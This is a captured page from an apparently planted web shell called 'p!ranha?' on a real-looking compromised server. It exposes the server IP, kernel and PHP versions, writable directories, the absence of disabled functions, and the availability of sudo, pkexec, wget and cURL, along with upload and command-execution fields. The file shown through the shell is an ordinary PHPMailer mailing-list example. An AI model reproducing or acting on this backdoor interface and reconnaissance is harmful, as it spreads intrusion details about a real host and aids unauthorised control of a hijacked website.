p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/PHPMailer/examples/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/PHPMailer/examples/mailing_list.phps
<?php

error_reporting(E_STRICT | E_ALL);

date_default_timezone_set('Etc/UTC');

require '../PHPMailerAutoload.php';

$mail = new PHPMailer;

$body = file_get_contents('contents.html');

$mail->isSMTP();
$mail->Host = 'smtp.example.com';
$mail->SMTPAuth = true;
$mail->SMTPKeepAlive = true; // SMTP connection will not close after each email sent, reduces SMTP overhead
$mail->Port = 25;
$mail->Username = 'yourname@example.com';
$mail->Password = 'yourpassword';
$mail->setFrom('list@example.com', 'List manager');
$mail->addReplyTo('list@example.com', 'List manager');

$mail->Subject = "PHPMailer Simple database mailing list test";

//Same body for all messages, so set this before the sending loop
//If you generate a different body for each recipient (e.g. you're using a templating system),
//set it inside the loop
$mail->msgHTML($body);
//msgHTML also sets AltBody, but if you want a custom one, set it afterwards
$mail->AltBody = 'To view the message, please use an HTML compatible email viewer!';

//Connect to the database and select the recipients from your mailing list that have not yet been sent to
//You'll need to alter this to match your database
$mysql = mysqli_connect('localhost', 'username', 'password');
mysqli_select_db($mysql, 'mydb');
$result = mysqli_query($mysql, 'SELECT full_name, email, photo FROM mailinglist WHERE sent = false');

foreach ($result as $row) { //This iterator syntax only works in PHP 5.4+
    $mail->addAddress($row['email'], $row['full_name']);
    if (!empty($row['photo'])) {
        $mail->addStringAttachment($row['photo'], 'YourPhoto.jpg'); //Assumes the image data is stored in the DB
    }

    if (!$mail->send()) {
        echo "Mailer Error (" . str_replace("@", "&#64;", $row["email"]) . ') ' . $mail->ErrorInfo . '<br />';
        break; //Abandon sending
    } else {
        echo "Message sent to :" . $row['full_name'] . ' (' . str_replace("@", "&#64;", $row['email']) . ')<br />';
        //Mark it as sent in the DB
        mysqli_query(
            $mysql,
            "UPDATE mailinglist SET sent = true WHERE email = '" .
            mysqli_real_escape_string($mysql, $row['email']) . "'"
        );
    }
    // Clear all addresses and attachments for next loop
    $mail->clearAddresses();
    $mail->clearAttachments();
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:49:12
1000 / 1000
0755
images
--
December 21 2023 09:49:09
1000 / 1000
0755
scripts
--
December 21 2023 09:49:10
1000 / 1000
0755
styles
--
December 21 2023 09:49:12
1000 / 1000
0755
DKIM.phps
1.305 KB
January 13 2024 08:46:07
1000 / 1000
0755
code_generator.phps
26.819 KB
January 13 2024 08:46:07
1000 / 1000
0755
contactform.phps
2.403 KB
January 13 2024 08:46:07
1000 / 1000
0755
contents.html
0.63 KB
January 13 2024 08:46:07
1000 / 1000
0755
contentsutf8.html
0.887 KB
January 13 2024 08:46:07
1000 / 1000
0755
exceptions.phps
1.447 KB
January 13 2024 08:46:07
1000 / 1000
0755
gmail.phps
2.114 KB
January 13 2024 08:46:07
1000 / 1000
0755
gmail_xoauth.phps
2.614 KB
January 13 2024 08:46:07
1000 / 1000
0755
index.html
6.142 KB
January 13 2024 08:46:07
1000 / 1000
0755
mail.phps
1.038 KB
January 13 2024 08:46:07
1000 / 1000
0755
mailing_list.phps
2.243 KB
January 13 2024 08:46:07
1000 / 1000
0755
pop_before_smtp.phps
2.145 KB
January 13 2024 08:46:08
1000 / 1000
0755
send_file_upload.phps
1.644 KB
January 13 2024 08:46:08
1000 / 1000
0755
send_multiple_file_upload.phps
1.566 KB
January 13 2024 08:46:08
1000 / 1000
0755
sendmail.phps
1.108 KB
January 13 2024 08:46:08
1000 / 1000
0755
signed-mail.phps
4.104 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp.phps
1.831 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp_check.phps
1.894 KB
January 13 2024 08:46:08
1000 / 1000
0755
smtp_no_auth.phps
1.702 KB
January 13 2024 08:46:08
1000 / 1000
0755
ssl_options.phps
2.027 KB
January 13 2024 08:46:08
1000 / 1000
0755